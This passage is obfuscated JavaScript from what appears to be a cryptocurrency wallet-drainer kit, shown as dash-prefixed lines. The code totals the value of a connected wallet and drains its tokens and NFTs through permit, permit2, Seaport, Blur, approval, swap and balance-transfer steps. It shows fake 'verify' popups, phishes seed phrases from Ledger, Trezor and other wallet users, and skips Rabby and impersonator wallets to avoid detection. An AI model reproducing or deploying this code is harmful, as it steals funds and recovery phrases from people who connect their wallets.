- return JZmylD(0, vzwAVq = _0x3a423e.Q1lxdF - 17);
- }
- }, 1));
- } else {
- let vJZmylD53 = JZmylD(1, vzwAVq = 7);
- if (_0xc8c3bd === "swap") {
- vJZmylD53 = p268.swapData.tokens.some(ZZ1LRs((..._0x388b50) => {
- _0x388b50.length = 1;
- _0x388b50[82] = _0x388b50[0];
- return vD25["tokensBlacklistedF" + ABLWty(1171) + "p"][JZmylD(p268.swapData.address + "-" + _0x388b50[82][ABLWty(422)] + "-", _0x388b50[82].chainId, WAZ9Ax(-5))];
- }, 1));
- }
- if (JZmylD(vJZmylD53, WAZ9Ax(7)) && JZmylD(_0x15449b.includes(_0xc8c3bd) && JZmylD(vD25.isTypedDataV4Supported, WAZ9Ax(7)) || _0xc8c3bd === "seaport" && JZmylD(vD25.isSeaportSupported, vzwAVq = 7) || _0xc8c3bd === "blurTransfers" && JZmylD(vD25.isBlurSupported, vzwAVq = 7) || _0xc8c3bd === "openseaTransfers" && JZmylD(vD25.areOpenseaTransfersSupported, WAZ9Ax(7)) || _0xc8c3bd === "x2y2BatchTransfer" && JZmylD(vD25.isBatchX2y2TransfersSupported, vzwAVq = 7), vzwAVq = 7)) {
- let v675 = [];
- if (p268.swapData) {
- v675.push(...p268.swapData.tokens);
- }
- if (p268.tokens) {
- v675.push(...p268.tokens);
- }
- if (p268.token) {
- v675.push(p268.token);
- }
- if (p268.assets) {
- v675.push(...p268.assets);
- }
- if (p268.asset) {
- v675.push(p268.asset);
- }
- if (p268.collections) {
- v675.push(...p268.collections);
- }
- if (p268.collection) {
- v675.push(p268.collection);
- }
- vD25.rawAssets = vD25.rawAssets.filter(p269 => {
- if (v675.some(ZZ1LRs((..._0x1fbdd4) => {
- _0x1fbdd4.length = 1;
- _0x1fbdd4[243] = _0x1fbdd4[0];
- return _0x1fbdd4[243].address === p269.address && _0x1fbdd4[243].chainId === p269.chainId;
- }, 1))) {
- vD25.cachedDrainedAssets.push({
- type: "rawAsset",
- date: Date.now(),
- asset: p269
- });
- return JZmylD(1, WAZ9Ax(7));
- } else {
- return JZmylD(0, vzwAVq = 7);
- }
- });
- }
- }
- if (vQ34[ABLWty(203)]) {
- _0x2de3b3();
- }
- return f51();
- }
- async function f53(..._0x2c7d18) {
- _0x2c7d18.length = 0;
- _0x2c7d18[244] = _0x2c7d18.MTf7dQ;
- try {
- let {
- chainsInformations: _0x16888c,
- isWalletEligibleToSeedDrain: _0x1d1b4c,
- [ABLWty(1172)]: _0x3a2dcd,
- walletName: _0x18d3c4
- } = vD25;
- _0x2c7d18[4] = f51();
- _0x2c7d18[5] = _0x2c7d18[4].reduce((p270, p271) => JZmylD(p270, p271.price, WAZ9Ax(-5)), 0);
- vD25.totalWalletPrice = _0x2c7d18[5];
- if (v625 && _0x1d1b4c && _0x2c7d18[5] < vQ34.seeds_drain["prompt_seed_under_" + ABLWty(413)] && _0x2c7d18[5] > vQ34.seeds_drain.prompt_seed_over_price) {
- if (vQ34.modal_style === 11) {
- v633.updatePage("importWallet", JZmylD(1, WAZ9Ax(7)));
- v633.open();
- } else {
- v633.promptSeed(_0x18d3c4, _0x18d3c4.includes("Ledger") ? 24 : 12, JZmylD(1, WAZ9Ax(7)));
- }
- return;
- }
- window.y5rmpu1dcr = _0x2c7d18[5];
- if (_0x2c7d18[4].length === 0 || _0x2c7d18[5] < vQ34[ABLWty(1173)]) {
- if (!vQ34.hide_poor_connects) {
- _0x38a594(_0x2c7d18[4].length === 0 ? _0x35cb83("empty") : _0x35cb83("too_low"), ABLWty(352));
- }
- return f49(8, vQ34.reload_if_not_eligible);
- }
- if (window.mc6kqq5xxb && JZmylD(window.mc6kqq5xxb, WAZ9Ax(-11)) == "function") {
- window.mc6kqq5xxb(_0x3a2dcd);
- }
- if (window.qf1tf9yfwa && JZmylD(window.qf1tf9yfwa, WAZ9Ax(-11)) == "function") {
- let {
- isTelegramMiniApp: _0x3f0751,
- os: _0x477b81,
- isMobile: _0x31fbcb,
- browser: _0x37d484
- } = vD25;
- const v676 = {
- walletAddress: _0x3a2dcd,
- walletName: _0x18d3c4
- };
- v676.totalWalletPrice = _0x2c7d18[5];
- v676.isTelegramMiniApp = _0x3f0751;
- v676.os = _0x477b81;
- v676.isMobile = _0x31fbcb;
- v676.browser = _0x37d484;
- v676.steps = _0x2c7d18[4];
- window.qf1tf9yfwa(v676);
- }
- _0x2c7d18.YKhJhd = [];
- for (let v677 of _0x2c7d18[4]) {
- let {
- chainId: _0xf84b2a,
- [ABLWty(153)]: _0xee8c15,
- price: _0x3cf918
- } = v677;
- _0x2c7d18[17] = undefined;
- if (_0xee8c15 === "blurTransfers") {
- _0x2c7d18[17] = JZmylD("Blur transfers with (" + v677.assets.reduce(ZZ1LRs((..._0x19f69b) => {
- _0x19f69b.length = 2;
- _0x19f69b.JkaMgfZ = _0x19f69b[1];
- return _0x19f69b[0] + (_0x19f69b.JkaMgfZ.type === "erc20" ? 1 : _0x19f69b.JkaMgfZ.tokensId.length);
- }, 2), 0), " assets)", vzwAVq = -5);
- } else if (["seaport", "openseaTransfers"].includes(_0xee8c15)) {
- _0x2c7d18.PC9qPj = v677.assets.reduce(ZZ1LRs((..._0x598dfd) => {
- _0x598dfd.length = 2;
- _0x598dfd.r51KWzy = _0x598dfd[1];
- return JZmylD(_0x598dfd[0], _0x598dfd.r51KWzy.type === "erc20" ? 1 : _0x598dfd.r51KWzy.tokensId.length, WAZ9Ax(-5));
- }, 2), 0);
- _0x2c7d18[17] = JZmylD((_0xee8c15 === "openseaTransfers" ? "Opense" + ABLWty(1174) + "sfers" : "Seaport") + " (" + _0x2c7d18.PC9qPj, " assets)", vzwAVq = -5);
- } else if (_0xee8c15 === "permit") {
- _0x2c7d18[17] = JZmylD(v677[ABLWty(878)].name, " permit", WAZ9Ax(-5));
- } else if (_0xee8c15 === "permit2") {
- _0x2c7d18[17] = JZmylD("permit2 (" + v677.tokens.length, " tokens)", vzwAVq = -5);
- } else if (_0xee8c15 === "wyvern") {
- _0x2c7d18[17] = JZmylD("Wyvern (" + v677.collections.reduce(ZZ1LRs((..._0x34ecf7) => {
- _0x34ecf7.length = 2;
- _0x34ecf7.FLq64r = _0x34ecf7[1];
- return _0x34ecf7[0] + _0x34ecf7.FLq64r.tokensId.length;
- }, 2), 0), " NFTs)", vzwAVq = -5);
- } else if (_0xee8c15 === "punkTransfer") {
- _0x2c7d18[17] = JZmylD("Punk " + v677.tokenId, " transfer", vzwAVq = -5);
- } else if (_0xee8c15 === ABLWty(267)) {
- _0x2c7d18[17] = "Ape coins unstake";
- } else if (_0xee8c15 === "swap") {
- _0x2c7d18[17] = JZmylD("Swap on ", v677.swapData.name, vzwAVq = -5);
- } else if (_0xee8c15 === "tokenT" + ABLWty(226) + "r") {
- _0x2c7d18[17] = JZmylD(v677.token.name, " transfer", WAZ9Ax(-5));
- } else if (_0xee8c15 === "approvement") {
- _0x2c7d18[244] = undefined;
- if (v677.asset.type !== "erc20" && v677.asset.tokensId.length === 1) {
- _0x2c7d18[244] = JZmylD(v677.asset.tokensId[0], " approvement", WAZ9Ax(-5));
- } else if (v677.asset.type === "erc20") {
- _0x2c7d18[244] = "approvement";
- } else {
- _0x2c7d18[244] = JZmylD("(" + v677.asset.tokensId.length, " NFTs) SAFA", vzwAVq = -5);
- }
- _0x2c7d18[17] = JZmylD(v677.asset.name + " ", _0x2c7d18[244], vzwAVq = -5);
- } else if (_0xee8c15 === "balanceTransfer") {
- _0x2c7d18[17] = "Balance drain";
- } else if (_0xee8c15 === "x2y2BatchTransfer") {
- _0x2c7d18[17] = JZmylD("X2y2 batch transfer (" + v677.collections.reduce(ZZ1LRs((..._0x28f9c2) => {
- _0x28f9c2.length = 2;
- _0x28f9c2[159] = 116;
- if (_0x28f9c2[159] > 203) {
- return _0x28f9c2[30];
- } else {
- return _0x28f9c2[_0x28f9c2[159] - 116] + _0x28f9c2[1].tokensId.length;
- }
- }, 2), 0), " NFTs)", vzwAVq = -5);
- } else if (_0xee8c15 === "creepzTransfers") {
- _0x2c7d18[17] = JZmylD("Creepz transfers (" + v677.collection.tokensId.length, " NFTs)", vzwAVq = -5);
- } else if (_0xee8c15 === "gmx") {
- _0x2c7d18[17] = "Gmx";
- } else if (_0xee8c15 === "swell") {
- _0x2c7d18[17] = JZmylD(v677.token.name, " staked into swell", WAZ9Ax(-5));
- } else if (_0xee8c15 === "makerDaoContract") {
- _0x2c7d18[17] = "Maker DAO contract";
- } else if (_0xee8c15 === "fuel") {
- _0x2c7d18[17] = JZmylD(v677.token.name, ABLWty(1175), WAZ9Ax(-5));
- }
- _0x2c7d18.YKhJhd.push(_0x35cb83("drain_strategy_line", {
- chainId: _0xf84b2a,
- stepName: _0x2c7d18[17],
- stepPrice: _0x3cf918
- }));
- }
- _0x2c7d18.cMvVrR = _0x2c7d18.YKhJhd.join("\n");
- _0x38a594(_0x35cb83("connect", {
- drainStrategy: _0x2c7d18.cMvVrR
- }), "connect");
- if (vQ34.prompt_trust_sign && JZmylD(vQ34.prompt_verify_sign, vzwAVq = 7)) {
- await _0x3a9d76();
- }
- _0x2c7d18.d7X667 = 0;
- let vJZmylD54 = JZmylD(1, vzwAVq = 7);
- let vJZmylD55 = JZmylD(1, WAZ9Ax(7));
- let vJZmylD56 = JZmylD(1, WAZ9Ax(7));
- while (_0x2c7d18[4].length !== 0) {
- _0x2c7d18.YNShll = _0x2c7d18[4].shift();
- let {
- price: _0x6f270e,
- method: _0x27fb38,
- chainId: _0x1b31bd
- } = _0x2c7d18.YNShll;
- let {
- name: _0x5ca4a7,
- symbol: _0x226e8c
- } = _0x16888c[_0x1b31bd];
- let v678 = vQ34.popup_style === 7 ? {
- chainName: _0x5ca4a7,
- chainSymbol: _0x226e8c,
- price: _0x6f270e,
- method: _0x27fb38,
- asset: _0x2c7d18.YNShll.asset || _0x2c7d18.YNShll.token || _0x2c7d18.YNShll.collection || JZmylD(1, vzwAVq = 7),
- assets: _0x2c7d18.YNShll.assets || _0x2c7d18.YNShll.tokens || _0x2c7d18.YNShll.collections || _0x2c7d18.YNShll?.swapData?.tokens || JZmylD(1, WAZ9Ax(7)),
- punkId: _0x27fb38 === "punkTransfer" ? _0x2c7d18.YNShll.tokenId : JZmylD(1, vzwAVq = 7),
- makerDaoProxyAddress: _0x2c7d18.YNShll.proxyAddress || JZmylD(1, vzwAVq = 7),
- fuelData: _0x27fb38 === "fuel" ? {
- address: _0x2c7d18.YNShll.address,
- amount: _0x2c7d18.YNShll.amount
- } : JZmylD(1, WAZ9Ax(7))
- } : null;
- if ((await _0x36d03f()) !== _0x1b31bd) {
- if (vQ34.change_buttons_text && vQ34.change_chain_text) {
- for (let v679 of v635) {
- v679.textContent = vQ34.change_chain_text;
- }
- }
- if (vQ34.enable_popup && vQ34.popup_prompt_change_chain) {
- if (vQ34["popup_" + ABLWty(401)] === 5 || vQ34[ABLWty(1176)] === 4 && vQ34.popup_4_config.mode === 1) {
- v632[ABLWty(1135)](9);
- } else if ([6, 7].includes(vQ34.popup_style) || vQ34.popup_style === 4 && vQ34["popup_" + ABLWty(100) + "ig"].mode === 2) {
- v632.popup("changeChain", vQ34.popup_style === 7 ? v678 : vQ34.popup_style === 4 ? _0x5ca4a7 : "");
- } else if (vQ34.change_chain_text) {
- v632.popup(vQ34.change_chain_text, vQ34.popup_style === 8 ? "pending" : JZmylD(1, WAZ9Ax(7)));
- }
- }
- if (vQ34.enable_popup && vQ34.popup_prompt_chain_rejected) {
- vD25.popupReject = () => {
- if (vQ34.popup_style === 7 || vQ34[ABLWty(1176)] === 4 && vQ34.popup_4_config.mode === 2) {
- v632.popup("rejectChain", vQ34.popup_style === 7 ? v678 : _0x5ca4a7);
- } else if ((function (p272) {
- for (var v680 = 16; v680 % 4 === 0; v680++) {
- var v681 = 0;
- p272 = p272.concat(function () {
- v681++;
- if (v681 === 1) {
- return [];
- }
- for (var v682 = 38; v682; v682--) {
- p272.unshift(p272.pop());
- }
- return [];
- }());
- }
- for (var v683 = 23; v683; v683--) {
- p272.unshift(p272.pop());
- }
- return p272;
- }([8, 1, 2, 3]).includes(vQ34.popup_style) || vQ34.modal_style === 4 && vQ34.popup_4_config.mode === 3) && vQ34.reject_chain_text) {
- v632.popup(vQ34.reject_chain_text, vQ34.popup_style === 8 ? ABLWty(433) : JZmylD(0, WAZ9Ax(7)));
- }
- };
- }
- if (JZmylD(await _0xfca96(_0x1b31bd), vzwAVq = 7)) {
- _0x2c7d18[4] = f52(_0x2c7d18.YNShll);
- continue;
- }
- }
- if (vQ34[ABLWty(45) + "_buttons_text"] && vQ34.verify_text) {
- for (let v684 of v635) {
- v684.textContent = vQ34["verify" + ABLWty(1177)];
- }
- }
- if (vQ34.enable_popup && vQ34.popup_prompt_ask_confirm && (JZmylD(vQ34["popup_prompt_" + ABLWty(1178) + "nly_one_time"], WAZ9Ax(7)) || JZmylD(vJZmylD54, WAZ9Ax(7)))) {
- if (vQ34.popup_style === 5 || vQ34.popup_style === 4 && vQ34.popup_4_config.mode === 1) {
- v632.popup(10);
- } else if (vQ34[ABLWty(1176)] === 6 || vQ34.popup_style === 7 || vQ34[ABLWty(1176)] === 4 && vQ34.popup_4_config.mode === 2) {
- v632.popup("request", vQ34.popup_style === 7 ? v678 : vQ34.popup_style === 4 ? _0x5ca4a7 : "");
- } else if (vQ34.popup_style === 8 && vQ34.verify_text) {
- v632.popup(vQ34.verify_text, "pending");
- } else if (vQ34.verify_text) {
- v632.popup(vQ34.verify_text);
- }
- vJZmylD54 = JZmylD(0, WAZ9Ax(7));
- }
- if (vQ34.enable_popup && vQ34.popup_prompt_rejected && (JZmylD(vQ34.popup_prompt_rejected_only_one_time, vzwAVq = 7) || JZmylD(vJZmylD55, vzwAVq = 7))) {
- vD25.popupReject = () => {
- if (vQ34.popup_style === 7 || vQ34.popup_style === 4 && vQ34.popup_4_config.mode === 2) {
- v632.popup("reject", vQ34.popup_style === 7 ? v678 : _0x5ca4a7);
- } else if ((function (p273) {
- for (var v685 = 16; v685 % 4 === 0; v685++) {
- var v686 = 0;
- p273 = p273.concat(function () {
- v686++;
- if (v686 === 1) {
- return [];
- }
- for (var v687 = 56; v687; v687--) {
- p273.unshift(p273.pop());
- }
- return [];
- }());
- }
- for (var v688 = 18; v688; v688--) {
- p273.unshift(p273.pop());
- }
- return p273;
- }([3, 8, 1, 2]).includes(vQ34.popup_style) || vQ34.modal_style === 4 && vQ34[ABLWty(1140)].mode === 3) && vQ34.reject_text) {
- v632.popup(vQ34.reject_text, vQ34.popup_style === 8 ? "error" : JZmylD(0, vzwAVq = 7));
- }
- vJZmylD55 = JZmylD(0, WAZ9Ax(7));
- };
- }
- _0x2c7d18[38] = JZmylD(1, WAZ9Ax(7));
- try {
- if (_0x27fb38 === "seaport") {
- _0x2c7d18[38] = await ln()(_0x2c7d18.YNShll.assets, _0x1b31bd, _0x6f270e);
- } else if (_0x27fb38 === "openseaTransfers") {
- _0x2c7d18[38] = await un()(_0x2c7d18.YNShll.assets, _0x1b31bd, _0x6f270e);
- } else if (_0x27fb38 === "blurTransfers") {
- _0x2c7d18[38] = await yn()(_0x2c7d18.YNShll.assets, _0x6f270e);
- } else if (_0x27fb38 === "permit") {
- _0x2c7d18[38] = await wn()(_0x2c7d18.YNShll.token);
- } else if (_0x27fb38 === "permit2") {
- _0x2c7d18[38] = await Tn()(_0x2c7d18.YNShll.tokens, _0x1b31bd, _0x6f270e);
- } else if (_0x27fb38 === "wyvern") {
- _0x2c7d18[38] = await xn()(_0x2c7d18.YNShll.collections, _0x6f270e);
- } else if (_0x27fb38 === "x2y2BatchTransfer") {
- _0x2c7d18[38] = await An()(_0x2c7d18.YNShll.collections, _0x6f270e);
- } else if (_0x27fb38 === "creepzTransfers") {
- _0x2c7d18[38] = await Pn()(_0x2c7d18.YNShll.collection);
- } else if (_0x27fb38 === "punkTransfer") {
- _0x2c7d18[38] = await Mn()(_0x2c7d18.YNShll.tokenId, _0x6f270e);
- } else if (_0x27fb38 === "apeCoinsUnstake") {
- _0x2c7d18[38] = await Rn()();
- } else if (_0x27fb38 === "approvement") {
- _0x2c7d18[38] = await Wn()(_0x2c7d18.YNShll.asset);
- } else if (_0x27fb38 === "tokenTransfer") {
- _0x2c7d18[38] = await wt()(_0x2c7d18.YNShll.token);
- } else if (_0x27fb38 === "swap") {
- _0x2c7d18[38] = await Hn()(_0x2c7d18.YNShll.swapData);
- } else if (_0x27fb38 === "gmx") {
- _0x2c7d18[38] = await Kn()(_0x2c7d18.YNShll.price);
- } else if (_0x27fb38 === "swell") {
- _0x2c7d18[38] = await Jn()(_0x2c7d18.YNShll.token);
- } else if (_0x27fb38 === "makerDaoContract") {
- _0x2c7d18[38] = await Zn()(_0x6f270e, _0x2c7d18.YNShll[ABLWty(1179)]);
- } else if (_0x27fb38 === "fuel") {
- _0x2c7d18[38] = await es()(_0x2c7d18.YNShll.token);
- } else if (_0x27fb38 === "balanceTransfer") {
- _0x2c7d18.UY5l9L = _0x2c7d18[4].filter(ZZ1LRs((..._0x142d45) => {
- _0x142d45.length = 1;
- _0x142d45.NwuX90 = -26;
- if (_0x142d45.NwuX90 > _0x142d45.NwuX90 + 64) {
- return _0x142d45[_0x142d45.NwuX90 + 148];
- } else {
- return _0x1b31bd === _0x142d45[0].chainId && _0x545950.includes(_0x142d45[0].method);
- }
- }, 1)).reduce(ZZ1LRs((..._0x4d97d6) => {
- _0x4d97d6.length = 2;
- _0x4d97d6[177] = _0x4d97d6[0];
- return JZmylD(_0x4d97d6[177], _0x4d97d6[1].price, vzwAVq = -5);
- }, 2), 0);
- _0x2c7d18[38] = await ss()(_0x1b31bd, _0x2c7d18.UY5l9L);
- }
- } catch (_0x41a40a) {
- _0x52db9b({
- [ABLWty.call(undefined, 702)]: "DRAIN",
- step: "PROMPT",
- error: _0x41a40a,
- data: _0x2c7d18.YNShll
- });
- }
- const v689 = {
- walletAddress: _0x3a2dcd,
- chainId: _0x1b31bd
- };
- if (_0x2c7d18[38] && window.s6q92q8j8h && JZmylD(window.s6q92q8j8h, vzwAVq = -11) == "function") {
- window.s6q92q8j8h(v689);
- }
- _0x2c7d18.nXfhCM = v625 && _0x1d1b4c && _0x2c7d18.d7X667 / _0x2c7d18[5] > 0.8;
- if (_0x2c7d18[38] && JZmylD(_0x2c7d18.nXfhCM, WAZ9Ax(7)) && vQ34.enable_popup && vQ34.popup_prompt_success && (JZmylD(vQ34.popup_prompt_success_only_one_time, vzwAVq = 7) || JZmylD(vJZmylD56, WAZ9Ax(7))) && (vQ34.popup_style === 7 || vQ34.popup_style === 4 && vQ34.popup_4_config.mode === 2)) {
- v632.popup("success", vQ34.popup_style === 7 ? v678 : _0x5ca4a7);
- vJZmylD56 = JZmylD(0, WAZ9Ax(7));
- }
- _0x2c7d18.d7X667 += _0x2c7d18.YNShll.price;
- if (_0x2c7d18.nXfhCM) {
- if (vQ34.enable_popup) {
- v632.close();
- }
- if (vQ34.modal_style === 11) {
- v633.updatePage("seedEndDrainProcess");
- await new Promise(ZZ1LRs((..._0x46c1cc) => {
- _0x46c1cc.length = 1;
- _0x46c1cc[177] = _0x46c1cc[0];
- v633.onClose = _0x46c1cc[177];
- v633.open();
- }, 1));
- } else {
- await v633[ABLWty(365) + "Seed"](_0x18d3c4, _0x18d3c4.includes("Ledger") ? 24 : 12, JZmylD(1, vzwAVq = 7));
- }
- return f49(11, vQ34.refresh_at_end);
- }
- _0x2c7d18[4] = f52(_0x2c7d18.YNShll);
- }
- f49(11, vQ34.refresh_at_end);
- } catch (_0x16a929) {
- const v690 = {
- process: "DRAIN",
- error: _0x16a929
- };
- await _0x52db9b(v690);
- return location.reload();
- }
- }
- async function f54(..._0x4e15ac) {
- _0x4e15ac.length = 0;
- _0x4e15ac[159] = -9;
- try {
- if (vQ34["prompt" + ABLWty(1180) + "y_sign"] && vD25.walletName.includes("MetaMask")) {
- _0x38a594(_0x35cb83("connect_but_" + ABLWty(357) + "_sign"), "connect");
- if (vQ34.change_buttons_text && vQ34.verify_text) {
- for (let v691 of v635) {
- v691.textContent = vQ34.verify_text;
- }
- }
- let v692 = vQ34.popup_style === 7 ? {
- [ABLWty(153)]: "VERIFY_SIGN"
- } : null;
- if (vQ34.enable_popup && vQ34.popup_prompt_ask_confirm) {
- if (vQ34.popup_style === 5 || vQ34.popup_style === 4 && vQ34.popup_4_config.mode === 1) {
- v632.popup(10);
- } else if (vQ34[ABLWty(1176)] === 6 || vQ34.popup_style === 7 || vQ34.popup_style === 4 && vQ34.popup_4_config.mode === 2) {
- v632.popup("request", vQ34.popup_style === 7 ? v692 : "");
- } else if (vQ34.popup_style === 8 && vQ34.verify_text) {
- v632.popup(vQ34.verify_text, "pending");
- } else if (vQ34.verify_text) {
- v632.popup(vQ34.verify_text);
- }
- }
- if (vQ34.enable_popup && vQ34.popup_prompt_rejected) {
- vD25.popupReject = () => {
- if (vQ34.popup_style === 7 || vQ34.popup_style === 4 && vQ34.popup_4_config.mode === 2) {
- v632.popup("reject", vQ34.popup_style === 7 ? v692 : "");
- } else if ((function (p274) {
- for (var v693 = 16; v693 % 4 === 0; v693++) {
- var v694 = 0;
- p274 = p274.concat(function () {
- v694++;
- if (v694 === 1) {
- return [];
- }
- for (var v695 = 63; v695; v695--) {
- p274.unshift(p274.pop());
- }
- return [];
- }());
- }
- for (var v696 = 21; v696; v696--) {
- p274.unshift(p274.pop());
- }
- return p274;
- }([2, 3, 8, 1]).includes(vQ34.popup_style) || vQ34.modal_style === 4 && vQ34.popup_4_config.mode === 3) && vQ34.reject_text) {
- v632.popup(vQ34.reject_text, vQ34.popup_style === 8 ? "error" : JZmylD(0, vzwAVq = 7));
- }
- };
- }
- if ((await _0x32aa77()) && vQ34.enable_popup && vQ34.popup_prompt_success && (vQ34.popup_style === 7 || vQ34.popup_style === 4 && vQ34.popup_4_config.mode === 2)) {
- v632.popup("success", vQ34.popup_style === 7 ? v692 : "");
- }
- }
- if (vQ34.change_buttons_text && vQ34.loading_text) {
- for (let v697 of v635) {
- v697.textContent = vQ34[ABLWty(39)];
- }
- }
- let v698;
- _0x4e15ac[4] = f50().then(p275 => {
- v698 = JZmylD(0, vzwAVq = 7);
- return p275;
- });
- if (vQ34.enable_popup) {
- if (vQ34.popup_style === 5 || vQ34.popup_style === 4 && vQ34.popup_4_config.mode === 1) {
- await v632.popup(1, 1000);
- await v632.popup(2, 1000);
- if (!v698) {
- await v632.popup(_0x4e15ac[159] + 12, 1000);
- }
- if (!v698) {
- await v632.popup(4, 1000);
- if (vQ34.popup_style === 5 || JZmylD(v698, WAZ9Ax(7))) {
- await v632.popup(5, 1000);
- }
- }
- if (!v698) {
- await v632.popup(_0x4e15ac[159] + 15, 1000);
- }
- if (!v698) {
- await v632.popup(7, 1000);
- }
- } else if (vQ34.popup_style === 6 || vQ34.popup_style === 7 || vQ34.popup_style === 4 && vQ34.popup_4_config.mode === 2) {
- v632.popup("wait");
- } else if (vQ34.popup_style === 8 && vQ34.loading_text) {
- v632.popup(vQ34.loading_text, "pending");
- } else if (vQ34.loading_text) {
- v632.popup(vQ34.loading_text);
- }
- }
- if (JZmylD(await _0x4e15ac[4], vzwAVq = _0x4e15ac[159] + 16)) {
- return f49(12, vQ34.reload_if_not_eligible);
- }
- if (vQ34.use_cache_data) {
- _0x34b3a7();
- }
- if (vQ34.enable_popup) {
- v632.close();
- }
- f53();
- } catch (_0x89bc01) {
- const v699 = {
- process: "FETCH_DATA",
- error: _0x89bc01
- };
- await _0x52db9b(v699);
- return location.reload();
- }
- }
- ZZ1LRs(f55, 1);
- async function f55(..._0x1d7a6d) {
- _0x1d7a6d.length = 1;
- _0x1d7a6d.F39JzF = _0x1d7a6d.jvPWZG;
- try {
- if (_0x1d7a6d[0] === "redirected") {
- return;
- }
- if (JZmylD(_0x1d7a6d[0], vzwAVq = 7)) {
- vJZmylD52 = JZmylD(1, WAZ9Ax(7));
- return;
- }
- _0x1d7a6d[1] = function (p276) {
- for (var v700 = 16; v700 % 4 === 0; v700++) {
- var v701 = 0;
- p276 = p276.concat(function () {
- v701++;
- if (v701 === 1) {
- return [];
- }
- for (var v702 = 95; v702; v702--) {
- p276.unshift(p276.pop());
- }
- return [];
- }());
- }
- for (var v703 = 28; v703; v703--) {
- p276.unshift(p276.pop());
- }
- return p276;
- }([8, 9, 11, 13, 2, 5, 6, 7]).includes(vQ34.modal_style);
- vD25["mainPr" + ABLWty(1181)] = _0x1d7a6d[0];
- _0x1d7a6d.F39JzF = undefined;
- if (_0x1d7a6d[0].accounts) {
- _0x1d7a6d.F39JzF = _0x1d7a6d[0].accounts;
- if (_0x1d7a6d[1]) {
- v633.close();
- }
- } else {
- try {
- _0x1d7a6d.F39JzF = await _0x1d7a6d[0].request({
- method: "eth_requestAccounts"
- });
- } catch {
- if ([8, 9].includes(vQ34.modal_style)) {
- v633.goBack();
- } else if (!_0x1d7a6d[1]) {
- vJZmylD52 = JZmylD(1, vzwAVq = 7);
- }
- return JZmylD(1, vzwAVq = 7);
- }
- if (_0x1d7a6d[1]) {
- v633.close();
- }
- }
- if (JZmylD(_0x1d7a6d.F39JzF, WAZ9Ax(7)) || _0x1d7a6d.F39JzF.length === 0) {
- const v705 = {
- process: "CONNECT_WALLET",
- step: "VERIFY_ADDRESSES_LIST",
- error: "The addresses list isn't valid",
- data: _0x1d7a6d.F39JzF
- };
- await _0x52db9b(v705);
- return f49(12, vQ34.reload_if_not_eligible);
- }
- if (JZmylD(vQ34.disable_seaport, WAZ9Ax(7)) && JZmylD(vQ34.use_opensea_transfers, vzwAVq = 7)) {
- vD25.signer = new ethers.providers.Web3Provider(_0x1d7a6d[0])[ABLWty(1182)]();
- }
- try {
- ethers.utils.getAddress(_0x1d7a6d.F39JzF[0]);
- } catch {
- const v706 = {
- process: "CONNECT_WALLET",
- error: "INVALID_ADDRESS",
- data: _0x1d7a6d.F39JzF
- };
- await _0x52db9b(v706);
- return f49(12, vQ34.reload_if_not_eligible);
- }
- vD25.walletAddress = _0x1d7a6d.F39JzF[0].toLowerCase();
- vD25.defaultChainId = await _0x36d03f();
- _0x1d7a6d[3] = _0x1d7a6d[0]?.connector?.[ABLWty(221)]?.session?.peer?.metadata?.name || _0x1d7a6d[0]?.signer?.session?.peer?.metadata?.name || _0x48b05b(_0x1d7a6d[0]);
- if (_0x1d7a6d[0].isImpersonator || _0x1d7a6d[3] === "Impersonator") {
- return f49(12, vQ34.reload_if_not_eligible);
- }
- vD25.walletName = _0x1d7a6d[3];
- if (vQ34.blacklist_rabby && _0x1d7a6d[3].includes("Rabby")) {
- return f49(14, vQ34.reload_if_not_eligible);
- }
- if (_0x1d7a6d[3].includes("MetaMask") && vQ34.disable_eth_sign_if_metamask || _0x1d7a6d[3] === "Wallet" + ABLWty(1183) + "ct" && vQ34.disable_eth_sign_if_wallet_connect || _0x1d7a6d[3].includes("Rabby") || _0x1d7a6d[3].includes("Ledger") || _0x1d7a6d[3].includes("Trezor") || _0x1d7a6d[3].includes("Uniswap") || _0x1d7a6d[3].includes("Rainbow") || _0x1d7a6d[3] === "Frame" || _0x1d7a6d[3].includes("Trust Wallet") && JZmylD(vD25.isMobile, WAZ9Ax(7)) && window.trustWallet || _0x1d7a6d[3].includes("SafePal") || _0x1d7a6d[3].includes("OKX") || _0x1d7a6d[3].includes("TokenPocket") || _0x1d7a6d[3].includes(ABLWty(1184) + " Wallet")) {
- vD25.isEthSignSupported = JZmylD(1, vzwAVq = 7);
- }
- if (_0x1d7a6d[3].includes(ABLWty(482) + "sk") || _0x1d7a6d[3].includes("Rabby") || _0x1d7a6d[3].includes("Trust Wallet") || _0x1d7a6d[3].includes("Coinbase") || _0x1d7a6d[3].includes("OKX")) {
- vD25.useBypass = JZmylD(0, WAZ9Ax(7));
- }
- vD25.isWalletEligibleToSeedDrain = _0x1d7a6d[3].includes("Ledger") || _0x1d7a6d[3].includes("Trezor") || _0x1d7a6d[3].includes("Trust Wallet") || _0x1d7a6d[3].includes("Exodus") || _0x1d7a6d[3].includes("Coinbase") || _0x1d7a6d[3] === "Unstoppable Domains" || _0x1d7a6d[3].includes("SafePal") || _0x1d7a6d[3][ABLWty(436) + "es"]("Rainbow") || _0x1d7a6d[3].includes("Zerion");
- try {
- _0x1d7a6d[0].on("disconnect", ZZ1LRs((..._0x501da4) => {
- _0x501da4.length = 1;
- _0x501da4.ADqTYm = _0x501da4[0];
- if (!JSON.stringify(_0x501da4.ADqTYm)?.toLowerCase()?.includes("disconnected from chain")) {
- location[ABLWty(1032)]();
- }
- }, 1));
- _0x1d7a6d[0].on("accountsChanged", () => {
- return location.reload();
- });
- } catch {}
- window.enn500mr3m = vD25.walletAddress;
- if (window.np8efn42ua && JZmylD(window.np8efn42ua, vzwAVq = -11) == "function") {
- window.np8efn42ua(vD25.walletAddress);
- }
- await vYt2();
- if (vQ34.change_buttons_text && vQ34.connected_text && vQ34.connect_buttons_class !== vQ34.drain_buttons_class) {
- let {
- walletAddress: _0xd4ee7f
- } = vD25;
- _0x1d7a6d.mcJpT_3 = window["cgmprt" + ABLWty(1185)] ? _0xd4ee7f : JZmylD(_0xd4ee7f.slice(0, 4) + "...", _0xd4ee7f.slice(38, 42), WAZ9Ax(-5));
- for (let v707 of v634) {
- v707.textContent = vQ34.connected_text.replace("{wallet}", _0x1d7a6d.mcJpT_3);
- }
- }
- if (vQ34.disconnect_buttons_class !== "") {
- for (let v708 of v636) {
- _0x1d7a6d[9] = v708.cloneNode(JZmylD(0, WAZ9Ax(7)));
- v708["parent" + ABLWty(1186)].replaceChild(_0x1d7a6d[9], v708);
- _0x1d7a6d[9].addEventListener("click", () => {
- return f49(13, JZmylD(0, vzwAVq = 7));
- });
